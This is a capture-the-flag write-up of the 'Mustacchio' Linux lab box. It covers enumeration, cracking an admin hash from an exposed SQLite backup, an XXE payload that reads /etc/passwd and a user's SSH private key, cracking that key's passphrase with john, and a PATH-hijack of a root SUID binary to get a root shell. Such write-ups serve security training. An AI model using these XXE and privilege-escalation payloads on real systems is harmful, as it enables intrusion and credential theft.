Mustacchio is a fun boot to root Linux box. We’ll start with some enumeration on a HTTP service and find credentials for the admin panel in a SQLite database backup. Once we’re in, it quickly becomes apparent we’ll want to test for XXE after more enumeration. With XXE confirmed, we can then exfiltrate the private key of a user on the box and use that to gain SSH access. Finally we’ll escalate privileges by performing a path injection attack on a root-owned SUID binary.


sudo rustscan -a -- -sC -sV -oA nmap_initial

22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2WTNk2XxeSH8TaknfbKriHmaAOjRnNrbq1/zkFU46DlQRZmmrUP0uXzX6o6mfrAoB5BgoFmQQMackU8IWRHxF9YABxn0vKGhCkTLquVvGtRNJjR8u3BUdJ/wW/HFBIQKfYcM+9agllshikS1j2wn28SeovZJ807kc49MVmCx3m1OyL3sJhouWCy8IKYL38LzOyRd8GEEuj6QiC+y3WCX2Zu7lKxC2AQ7lgHPBtxpAgKY+txdCCEN1bfemgZqQvWBhAQ1qRyZ1H+jr0bs3eCjTuybZTsa8aAJHV9JAWWEYFegsdFPL7n4FRMNz5Qg0BVK2HGIDre343MutQXalAx5P
|   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCEPDv6sOBVGEIgy/qtZRm+nk+qjGEiWPaK/TF3QBS4iLniYOJpvIGWagvcnvUvODJ0ToNWNb+rfx6FnpNPyOA0=
|   256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGldKE9PtIBaggRavyOW10GTbDFCLUZrB14DN4/2VgyL
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Mustacchio | Home
8765/tcp open  http    syn-ack ttl 61 nginx 1.10.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have two HTTP services running:

  1. Apache 2.4.18 on port 80
  2. Nginx 1.10.3 on port 8765


Let’s take a look. On port 80 we have what looks like a static website about mustaches.


We can browse the source but there is nothing interesting in it.

If we jump over to the other service we’ll find an admin login for the site:

Admin Panel

Let’s try some default admin:admin credentials.

That doesn’t work, and we don’t get any kind of error message either.

We can try again with the Network tab of DevTools open to get a better sense of what this form is doing. With “Preserve log” checked it will keep a record of all requests even after the page reloads, which is useful when the page does a redirect.

Admin Panel in DevTools

From this we can see the form is posting to /auth/login.php to authenticate. Now that we know the server is running PHP, let’s fuzz for more content.

ffuf -t 80 -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -e .php,.html

index.php               [Status: 200, Size: 1363, Words: 164, Lines: 24]
home.php                [Status: 302, Size: 1993, Words: 279, Lines: 46]
assets                  [Status: 301, Size: 194, Words: 7, Lines: 8]
auth                    [Status: 301, Size: 194, Words: 7, Lines: 8]

Looks like we’re gonna have to dig deeper..

(At this point I tried a few more wordlists, targeting the root and /auth directories, but didn’t find anything useful. While the scans were running I also searched for known vulnerabilties on the Apache and Nginx versions but found nothing there, either.)

Let’s go back to the first site and take a closer look to see if we missed anything, and scan it for content as well.

ffuf -t 80 -u -w /usr/share/wordlists/dirb/big.txt -c

custom                  [Status: 301, Size: 311, Words: 20, Lines: 10]
fonts                   [Status: 301, Size: 310, Words: 20, Lines: 10]
images                  [Status: 301, Size: 311, Words: 20, Lines: 10]
robots.txt              [Status: 200, Size: 28, Words: 3, Lines: 3]

After exploring the custom directory and then js beneath that, we’ll find a users.bak file which is a SQLite database.

└─$ wget                                                8 ⨯
--2021-08-16 09:46:48--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 8192 (8.0K) [application/x-trash]
Saving to: ‘users.bak’

users.bak                100%[=================================>]   8.00K  --.-KB/s    in 0s

2021-08-16 09:46:48 (335 MB/s) - ‘users.bak’ saved [8192/8192]

└─$ file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001

This looks promising! Run sqlite3 users.bak to open it up.

First we can run .tables to get a list of the tables it contains. There is only one: users. So we can .dump users to dump its contents.

└─$ sqlite3 users.bak
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
sqlite> .dump users
PRAGMA foreign_keys=OFF;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);

So now we know the admin username, and we have a 40 character hash of their password. We can save the hash to a file and use hashid to determine what type of hash it is.

└─$ hashid admin.hash
--File 'admin.hash'--
Analyzing 'REDACTED'
[+] SHA-1
[+] Double SHA-1
[+] RIPEMD-160
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn
[+] Skein-256(160)
[+] Skein-512(160)
--End of file 'admin.hash'--

There are several matches..I’m guessing it’s a SHA-1 though. We can do a rainbow table lookup on CrackStation to get the plaintext password.

And with that we can log in to the admin panel!

Admin Panel - Authenticated

At first glance it appears all we can do is add a comment to the website. We can try posting something but get a strange error that says: “Insert XML Code!” Below the form is a preview of the comment that shows name, author, and comment fields with no content.

Admin Panel - XML Error

The form must be expecting an XML document as input. We can test this for an XXE vulnerability but first we need to figure out how to format the input.

Viewing the source of the page presents some helpful clues.

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Mustacchio | Admin Page</title>
    <link rel="stylesheet" href="assets/css/home.css" />
    <script type="text/javascript">
      //document.cookie = "Example=/auth/dontforget.bak";
      function checktarea() {
        let tbox = document.getElementById('box').value;
        if (tbox == null || tbox.length == 0) {
          alert('Insert XML Code!');
    <!-- Barry, you can now SSH in using your key!-->
    <img id="folhas" src="assets/imgs/pexels-alexander-tiupa-192136.jpg" alt="" />
    <nav class="position-fixed top-0 w-100 m-auto ">
      <ul class="d-flex flex-row align-items-center justify-content-between h-100">
        <li class="mt-auto mb-auto"><a href="auth/logout.php">Logout</a></li>
    <section id="add-comment" class="container-fluid d-flex flex-column align-items-center justify-content-center">
      <h3>Add a comment on the website.</h3>

      <form action="" method="post" class="container d-flex flex-column align-items-center justify-content-center">
        <textarea id="box" name="xml" rows="10" cols="50"></textarea><br />
        <input type="submit" id="sub" onclick="checktarea()" value="Submit" />
  1. We may have another file to explore at /auth/dontforget.bak

  2. There is a comment that mentions someone named Barry (potential username) letting them know they can now SSH in using their key.

  3. The form posts back to itself, so home.php likely contains the PHP code that handles the XML input.

Okay, first let’s check out what’s in that .bak file.

└─$ wget
--2021-08-16 10:21:22--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 996 [application/octet-stream]
Saving to: ‘dontforget.bak’

dontforget.bak           100%[=================================>]     996  --.-KB/s    in 0s

2021-08-16 10:21:23 (114 MB/s) - ‘dontforget.bak’ saved [996/996]

└─$ file dontforget.bak
dontforget.bak: XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

└─$ cat dontforget.bak
<?xml version="1.0" encoding="UTF-8"?>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>

It’s a sample of the XML the form accepts. If we copy and paste that directly to the form and submit, we’ll see the input reflected on the page.. so let’s test for XXE!

We can modify the payload to include an arbitrary entity that attempts to read the contents of /etc/passwd to get a list of users on the system.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comment [<!ENTITY read SYSTEM "/etc/passwd"> ]>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>

XXE Proof of concept

XXE is confirmed!

Initial Foothold

This shows us joe and barry are both users on the box. Based on the comment we saw in the HTML source, let’s see if we can exfiltrate Barry’s SSH key in order to gain access.

We can use the same payload, only this time we’ll try reading /home/barry/.ssh/id_rsa

That worked, too! Now we just need to save the key locally and then we can SSH in to Barry’s account.

└─$ ssh -i barry_id_rsa barry@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:ZZet5QyZ8Pn5+08sVBFZdDzP/6yZEQeNpRZEd5DLLks.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Enter passphrase for key 'barry_id_rsa':
Enter passphrase for key 'barry_id_rsa':
Enter passphrase for key 'barry_id_rsa':
barry@ Permission denied (publickey).

Well, almost.. this key is protected by a passphrase, and it is different from the password we used to access the admin panel.

We can attempt to crack it but first need to convert it to a hash that john can use with ssh2john.

└─$ python /usr/share/john/ barry_id_rsa > barry_id_rsa.hash                      127 ⨯

└─$ john barry_id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED       (barry_id_rsa)
1g 0:00:00:06 DONE (2021-08-16 11:03) 0.1485g/s 2131Kp/s 2131Kc/s 2131KC/sa6_123..*7¡Vamos!
Session completed

User Flag

Once we’re logged in as barry we’ll find the user flag in their home directory.

barry@mustacchio:~$ ls -la
total 20
drwxr-xr-x 4 barry barry 4096 Aug 16 15:04 .
drwxr-xr-x 4 root  root  4096 Jun 12 15:48 ..
drwx------ 2 barry barry 4096 Aug 16 15:04 .cache
drwxr-xr-x 2 barry barry 4096 Jun 12 15:48 .ssh
-rw-r--r-- 1 barry barry   33 Jun 12 15:48 user.txt
barry@mustacchio:~$ wc -c user.txt
33 user.txt

Privilege Escalation

We don’t have barry’s password so we can’t sudo, but we can search for root-owned SUID binaries.

find / -user root -perm /4000 -exec ls -l {} \; 2>/dev/null

There is one in joe’s home directory: /home/joe/live_log

barry@mustacchio:/home/joe$ file live_log
live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped

When we execute it nothing happens, but upon exiting, “Live Nginx Log” is written to STDOUT.

We can run strings live_log to analyze it for printable strings and see that it is simply executing tail -f /var/log/nginx/access.log to monitor requests on the nginx service.

Since tail is referenced without an absolute path, we can create a malicious script by that name and insert it higher in the environment PATH so that our script is executed rather than the real tail.

Our script will be executed as root since live_log is calling it, and that is owned by root and has the sticky bit sit in order for it to be able to read the nginx access log (also owned by root).

Let’s create a script named tail inside /tmp. All we need it to do is to spawn a new bash instance.


/bin/bash -p

Make it executable: chmod +x /tmp/tail

And finally, the key to making everything work is to add the the /tmp directory to the top of our PATH environment variable. With that done, we can run the program, pop a root shell, and capture the flag! 🏁

barry@mustacchio:/tmp$ export PATH=/tmp:$PATH
barry@mustacchio:/tmp$ cd /home/joe
barry@mustacchio:/home/joe$ ./live_log
root@mustacchio:/home/joe# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:/home/joe# cd /root && ls -l
total 4
-rw------- 1 root root 33 Jun 12 15:48 root.txt
root@mustacchio:/root# wc -c root.txt
33 root.txt